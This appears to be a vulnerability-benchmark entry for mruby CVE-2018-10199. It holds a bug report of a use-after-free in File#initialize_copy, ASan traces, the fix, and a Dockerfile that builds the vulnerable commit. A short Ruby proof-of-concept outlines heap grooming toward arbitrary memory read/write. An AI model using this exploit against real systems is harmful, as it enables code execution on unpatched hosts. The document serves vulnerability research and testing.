Project: mruby (mruby/mruby), language: c++
Vulnerability instance: mruby.cve-2018-10199
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mruby/mruby/issues/4001
## Description:
Issue: mruby/mruby#4001
Title: Use after free in File#initilialize_copy
State: closed
Created by: clayton-shopify
Created at: 2018-04-16 15:50:03+00:00

Issue Body:
The following was reported by https://hackerone.com/pnoltof:

-----

Root Cause:
==========

calling `File#initilialize_copy` with an invalid argument, causes the function to terminate early, leaving a dangling pointer in the recievers `DATA_PTR`. 

```
mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
{
  mrb_value orig;
  mrb_value buf;
  struct mrb_io *fptr_copy;
  struct mrb_io *fptr_orig;
  mrb_bool failed = TRUE;

  mrb_get_args(mrb, "o", &orig);
  fptr_copy = (struct mrb_io *)DATA_PTR(copy);
  if (fptr_copy != NULL) {
    fptr_finalize(mrb, fptr_copy, FALSE);
    mrb_free(mrb, fptr_copy);
  }
  fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
  fptr_orig = io_get_open_fptr(mrb, orig); #can raise exception

  DATA_TYPE(copy) = &mrb_io_type;
  DATA_PTR(copy) = fptr_copy;
	[....]
}
```

Details & Impact
=======

initialize_copy first frees the `DATA_PTR(self)`, then it gets the data pointer for the first argument. This operation can raise an exception, in which case `DATA_PTR(self)` remains dangeling. By proper heap feng shui, one can allocate another value (such as string) in the same spot. Calling `a.close()` will set `DATA_PTR(a)->fd = -1`, effectively setting some memory to `0xffffffff`. This can be used to change the size of a string object. The corrupted string can then be used to read/write memory. This can be used to obtain arbitrary code execution.

```ruby
a = File.new(0)
#needs proper heap massaging for reallocation
a.initialize_copy(0) # DATA_PTR(a) is now pointing to free'd memory
#allocate string at old position
str = "foo".gsub("o","asdfasdf")
a.close() #overwrites offset 0 on DATA_PTR(a) with ffffffff
#str length is now 0xfffffffff, we can read/write arbitrary memory
```

Bugfix
======
Move `fptr_orig = io_get_open_fptr(mrb, orig);` to the top of the function (next to `mrb_get_args(mrb, "o", &orig);`).

Steps to Reproduce
==================

obtain current mruby version
```
git clone https://github.com/mruby/mruby.git
git checkout fabc460880fbabd18369a
CC=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" LD=clang make
```

run testcase

```
$ ASAN_OPTIONS=halt_on_error=false:allow_addr2line=true:allocator_may_return_null=1  ./bin/mruby ../uaf_file.rb 

trace (most recent call last):
	[0] ../uaf_file.rb:3
../uaf_file.rb:3: wrong argument type Fixnum (expected Data) (TypeError)
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
    #0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650

SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
  0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
  0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
  0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

	[...] #various reads

=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed77f bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
WRITE of size 4 at 0x602000019890 thread T0
    #0 0x6ed77e in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664
    #1 0x6e7a14 in mrb_io_free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:260
    #2 0x5e4f4f in obj_free /home/me/grammarfuzz/mruby/src/gc.c:841
    #3 0x5e43e1 in free_heap /home/me/grammarfuzz/mruby/src/gc.c:391
    #4 0x5e4ffc in mrb_gc_destroy /home/me/grammarfuzz/mruby/src/gc.c:400
    #5 0x537203 in mrb_close /home/me/grammarfuzz/mruby/src/state.c:263
    #6 0x4eda6a in cleanup /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:165
    #7 0x4ec79d in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:251
    #8 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #9 0x419a18 in _start (/home/me/grammarfuzz/mruby/bin/mruby+0x419a18)

0x602000019890 is located 0 bytes inside of 16-byte region [0x602000019890,0x6020000198a0)
freed by thread T0 here:
    #0 0x4b99c0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o
    #1 0x53501b in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:51
    #2 0x5e3ce7 in mrb_free /home/me/grammarfuzz/mruby/src/gc.c:274
    #3 0x6ec52f in mrb_io_initialize_copy /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:567
    #4 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
    #5 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #6 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
    #7 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
    #8 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
    #9 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
    #10 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 here:
    #0 0x4b9ec8 in realloc (/home/me/grammarfuzz/mruby/bin/mruby+0x4b9ec8)
    #1 0x535035 in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:55
    #2 0x5e2b16 in mrb_realloc_simple /home/me/grammarfuzz/mruby/src/gc.c:206
    #3 0x5e31f4 in mrb_realloc /home/me/grammarfuzz/mruby/src/gc.c:220
    #4 0x5e3b83 in mrb_malloc /home/me/grammarfuzz/mruby/src/gc.c:242
    #5 0x6ebf6e in mrb_io_alloc /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:270
    #6 0x6eeb57 in mrb_io_initialize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:629
    #7 0x510a2d in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1675
    #8 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #9 0x4f661f in mrb_run /home/me/grammarfuzz/mruby/src/vm.c:2988
    #10 0x4f43d9 in mrb_funcall_with_block /home/me/grammarfuzz/mruby/src/vm.c:505
    #11 0x6949ad in mrb_instance_new /home/me/grammarfuzz/mruby/src/class.c:1595
    #12 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
    #13 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #14 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
    #15 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
    #16 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
    #17 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
    #18 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664 in fptr_finalize
Shadow bytes around the buggy address:
  0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
  0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
  0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019894 at pc 0x0000006ed7ea bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019894 thread T0
[....]
```
Authors:
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera


Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export LD=clang
export LDFLAGS="$CFLAGS"
./minirake clean && ./minirake -j$(nproc) all

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool ruby bison
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout fabc460880fbabd18369a7ef8715538c83ebffc9
WORKDIR $SRC/mruby
COPY build.sh $SRC/

Additional files: